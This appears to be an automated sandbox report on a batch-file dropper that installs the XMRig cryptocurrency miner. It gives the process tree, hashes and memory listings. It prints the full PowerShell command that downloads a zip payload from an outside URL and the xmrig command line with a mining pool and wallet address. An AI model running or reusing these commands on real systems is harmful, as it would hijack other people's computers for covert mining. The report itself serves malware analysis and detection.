Analysis

  • max time kernel
    1794s
  • max time network
    1800s
  • platform
    windows10-1703_x64
  • resource
    win10-20231129-en
  • resource tags

    arch:x64arch:x86image:win10-20231129-enlocale:en-usos:windows10-1703-x64system
  • submitted
    11/12/2023, 01:48

General

  • Target

    tesy - Copy (2).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4588
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:652
  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
    xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2852
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs -s wlidsvc
    1⤵
    • Drops file in System32 directory
    • Modifies data under HKEY_USERS
    PID:3984

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Microsoft\IdentityCRL\production\ppcrlconfig600.dll

    Filesize

    26KB

    MD5

    6f6a6e38715c9b3838f95e03fa0567f3

    SHA1

    40bffba8deebcfa89ff78591d1697290a8f8145d

    SHA256

    b1eab91db2cb293c153d0cb5ebf1ac3a9d50ac75d050403e8b9e1ec68881bd5f

    SHA512

    b1ecc5e8aff711a0ec8aa9d8415e1b26b06bc8e5607f26baba34506c30849b091e2fb3ea7051471000640c869aa9024e09749cbeac5595c16a4806d15f3221c2

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_npl3wne1.tlr.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • memory/1524-4-0x00007FFD8C0A0000-0x00007FFD8CA8C000-memory.dmp

    Filesize

    9.9MB

  • memory/1524-5-0x0000017069100000-0x0000017069110000-memory.dmp

    Filesize

    64KB

  • memory/1524-7-0x0000017050B10000-0x0000017050B32000-memory.dmp

    Filesize

    136KB

  • memory/1524-10-0x0000017069290000-0x0000017069306000-memory.dmp

    Filesize

    472KB

  • memory/1524-6-0x0000017069100000-0x0000017069110000-memory.dmp

    Filesize

    64KB

  • memory/1524-25-0x0000017069100000-0x0000017069110000-memory.dmp

    Filesize

    64KB

  • memory/1524-30-0x00007FFD8C0A0000-0x00007FFD8CA8C000-memory.dmp

    Filesize

    9.9MB

  • memory/2852-129-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-135-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-192-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-191-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-190-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-189-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-104-0x000001F69C750000-0x000001F69C770000-memory.dmp

    Filesize

    128KB

  • memory/2852-105-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-106-0x000001F69C990000-0x000001F69C9B0000-memory.dmp

    Filesize

    128KB

  • memory/2852-107-0x000001F69C970000-0x000001F69C990000-memory.dmp

    Filesize

    128KB

  • memory/2852-108-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-109-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-110-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-111-0x000001F69C990000-0x000001F69C9B0000-memory.dmp

    Filesize

    128KB

  • memory/2852-112-0x000001F69C970000-0x000001F69C990000-memory.dmp

    Filesize

    128KB

  • memory/2852-113-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-114-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-115-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-116-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-117-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-118-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-119-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-120-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-121-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-122-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-123-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-124-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-125-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-126-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-127-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-128-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-188-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-130-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-131-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-132-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-133-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-134-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-187-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-136-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-137-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-138-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-139-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-140-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-141-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-142-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-143-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-144-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-145-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-146-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-147-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-148-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-149-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-150-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-151-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-152-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-153-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-154-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-155-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-156-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-157-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-158-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-159-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-160-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-161-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-103-0x000001F69C6E0000-0x000001F69C700000-memory.dmp

    Filesize

    128KB

  • memory/2852-183-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-184-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-185-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2852-186-0x00007FF6A6BD0000-0x00007FF6A76D3000-memory.dmp

    Filesize

    11.0MB

  • memory/4588-38-0x0000024DC9940000-0x0000024DC9950000-memory.dmp

    Filesize

    64KB

  • memory/4588-37-0x0000024DC9940000-0x0000024DC9950000-memory.dmp

    Filesize

    64KB

  • memory/4588-89-0x0000024DE21F0000-0x0000024DE21FA000-memory.dmp

    Filesize

    40KB

  • memory/4588-76-0x0000024DE2480000-0x0000024DE2492000-memory.dmp

    Filesize

    72KB

  • memory/4588-62-0x0000024DC9940000-0x0000024DC9950000-memory.dmp

    Filesize

    64KB

  • memory/4588-36-0x00007FFD8C0A0000-0x00007FFD8CA8C000-memory.dmp

    Filesize

    9.9MB

  • memory/4588-99-0x00007FFD8C0A0000-0x00007FFD8CA8C000-memory.dmp

    Filesize

    9.9MB